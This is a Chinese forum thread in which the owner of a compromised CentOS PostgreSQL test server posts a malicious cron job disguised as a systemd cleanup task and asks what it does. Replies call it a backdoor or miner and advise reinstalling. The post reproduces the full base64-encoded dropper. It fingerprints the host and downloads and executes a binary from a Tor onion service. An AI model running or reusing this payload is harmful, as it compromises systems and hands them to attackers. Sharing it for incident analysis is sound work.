centos7 主机 postgres 被 XX 了 看下这脚本啥意思

[binbin0915jjpp]

RT 太 XXXX 了...

crontab -l 11 * * * * /var/lib/pgsql/.config/systemd/user/systemd-tmpfiles-cleanup/systemd-tmpfiles-cleanup-vkHzrg.sh > /dev/null 2>&1 & [postgres@localhost ~]$ cat /var/lib/pgsql/.config/systemd/user/systemd-tmpfiles-cleanup/systemd-tmpfiles-cleanup-vkHzrg.sh

#!/bin/bash exec &>/dev/null echo vkHzrg echo dmtIenJnCmV4ZWMgJj4vZGV2L251bGwKTEhqRmd4dG49Li8uJChkYXRlfG1kNXN1bXxoZWFkIC1jMjApCnVQWEFpRGdwPShkb2gtY2guYmxhaGRucy5jb20gZG9oLWRlLmJsYWhkbnMuY29tIGRvaC1qcC5ibGFoZG5zLmNvbSBkb2gtc2cuYmxhaGRucy5jb20gZG9oLmxpIGRvaC5wdWIgZG9oLmRucy5zYiBkbnMudHduaWMudHcpCkFjQ1FZZ0N5PSIvdG1wL3N5c3RlbWQtcHJpdmF0ZS1kZTIzODFjY2JhOGFhNDRiNzdiZGExYzk3MWEzM2I1ZS1zeXN0ZW1kLWxvZ2luZC5zZXJ2aWNlLXZrSHpyZyIKVmRIZldRc1U9ImN1cmwgLW02MCAtZnNTTGtBLSAtLWRvaC11cmwgaHR0cHM6Ly8ke3VQWEFpRGdwWyQoKFJBTkRPTSUkeyN1UFhBaURncFtAXX0pKV19L2Rucy1xdWVyeSIKSnRrclhNYWo9ImN1cmwgLW02MCAtZnNTTGtBLSIKTVRXdUdsSnU9InJlbGF5LnRvcjJzb2Nrcy5pbiIKUGNTS25vY0o9InJ1NnI0aW5rYWY0dGhsZ2ZsZzRpcXM1bWhxd3F1Ym9sczVxYWdzcHZ5YTR3aHAzZGdidm15aGFkIgpQQVRIPS90bXA6JEFjQ1FZZ0N5OiRIT01FOi9iaW46L3NiaW46L3Vzci9iaW46L3Vzci9zYmluOi91c3IvbG9jYWwvYmluOi91c3IvbG9jYWwvc2JpbjokUEFUSAoKakpjU05oZm4oKSB7CglyZWFkIHByb3RvIHNlcnZlciBwYXRoIDw8PCQoZWNobyAkezEvLy8vIH0pCglET0M9LyR7cGF0aC8vIC8vfQoJSE9TVD0ke3NlcnZlci8vOip9CglQT1JUPSR7c2VydmVyLy8qOn0KCVtbIHgiJHtIT1NUfSIgPT0geCIke1BPUlR9IiBdXSAmJiBQT1JUPTgwCglleGVjIDM8Pi9kZXYvdGNwLyR7SE9TVH0vJFBPUlQKCWVjaG8gLWVuICJHRVQgJHtET0N9IEhUVFAvMS4wXHJcblVzZXItQWdlbnQ6IC1cclxuSG9zdDogJHtIT1NUfVxyXG5cclxuIiA+JjMKCSh3aGlsZSByZWFkIGxpbmU7IGRvCglbWyAiJGxpbmUiID09ICQnXHInIF1dICYmIGJyZWFrCglkb25lICYmIGNhdCkgPCYzCglleGVjIDM+Ji0KfQoKd3RKeW1BTncoKSB7Cglmb3IgaSBpbiAkQWNDUVlnQ3kgLiAvdXNyL2JpbiAvdmFyL3RtcCAvdG1wIDtkbyBlY2hvIGV4aXQgPiAkaS9pICYmIGNobW9kICt4ICRpL2kgJiYgY2QgJGkgJiYgLi9pICYmIHJtIC1mIGkgJiYgYnJlYWs7ZG9uZQp9CgpPVW5lWUpheigpIHsKCWJlS2pvV3lXPS9leGVjCgl5WENtV09udz1jcjBfJChjdXJsIC00IGlkZW50Lm1lfHxjdXJsIC00IGlwLnNiKV8kKHdob2FtaSlfJCh1bmFtZSAtbilfJCh1bmFtZSAtcilfJChjYXQgL2V0Yy9tYWNoaW5lLWlkfHwoaXAgcnx8aG9zdG5hbWUgLWl8fGVjaG8gbm8taWQpfG1kNXN1bXxhd2sgTkY9MSkKCSRWZEhmV1FzVSAteCBzb2NrczVoOi8vJE1UV3VHbEp1OjkwNTAgLWUkeVhDbVdPbncgJFBjU0tub2NKLm9uaW9uJGJlS2pvV3lXIC1vJExIakZneHRuIHx8ICRWZEhmV1FzVSAtZSR5WENtV09udyAkMSRiZUtqb1d5VyAtbyRMSGpGZ3h0biB8fCAkSnRrclhNYWogLXggc29ja3M1aDovLyRNVFd1R2xKdTo5MDUwIC1lJHlYQ21XT253ICRQY1NLbm9jSi5vbmlvbiRiZUtqb1d5VyAtbyRMSGpGZ3h0biB8fCAkSnRrclhNYWogLWUkeVhDbVdPbncgJDEkYmVLam9XeVcgLW8kTEhqRmd4dG4KfQoKWlZkbWNnamYoKSB7CgljaG1vZCAreCAkTEhqRmd4dG47JExIakZneHRuO3JtIC1mICRMSGpGZ3h0bgp9CgpSQUtqRnhGdigpIHsKCXU9JFBjU0tub2NKLnRvcjJ3ZWIucmUvbG9hZC8KCWNkIC90bXAgJiYgY3VybCAtViB8fCAoakpjU05oZm4gaHR0cDovLyR1L2N1KSB8IHRhciB6eHAKCXd0SnltQU53CglPVW5lWUpheiAkUGNTS25vY0oudG9yMndlYi5yZSB8fAoJT1VuZVlKYXogJFBjU0tub2NKLnRvcjJ3ZWIuaW4gfHwKCU9VbmVZSmF6ICRQY1NLbm9jSi50b3Iyd2ViLml0CglaVmRtY2dqZgp9CgpscyAvcHJvYy8kKGhlYWQgLTEgL3RtcC8uc3lzdGVtZC4xKS9tYXBzIHx8IFJBS2pGeEZ2Cg==|base64 -d|bash

[yumusb]

https://img.lu/upload/19cb89e6662ef90fb9235.png

见图，回复文字被 ban

[x86]

不是后门就是挖矿了，重装了已经不干净了

[fsdrw08]

这主机直接暴露在互联网上？

[binbin0915jjpp]

@fsdrw08 嗯 还好 测试机

[genesislive]

bash http 请求的代码之前在 V2EX 看过，也是木马脚本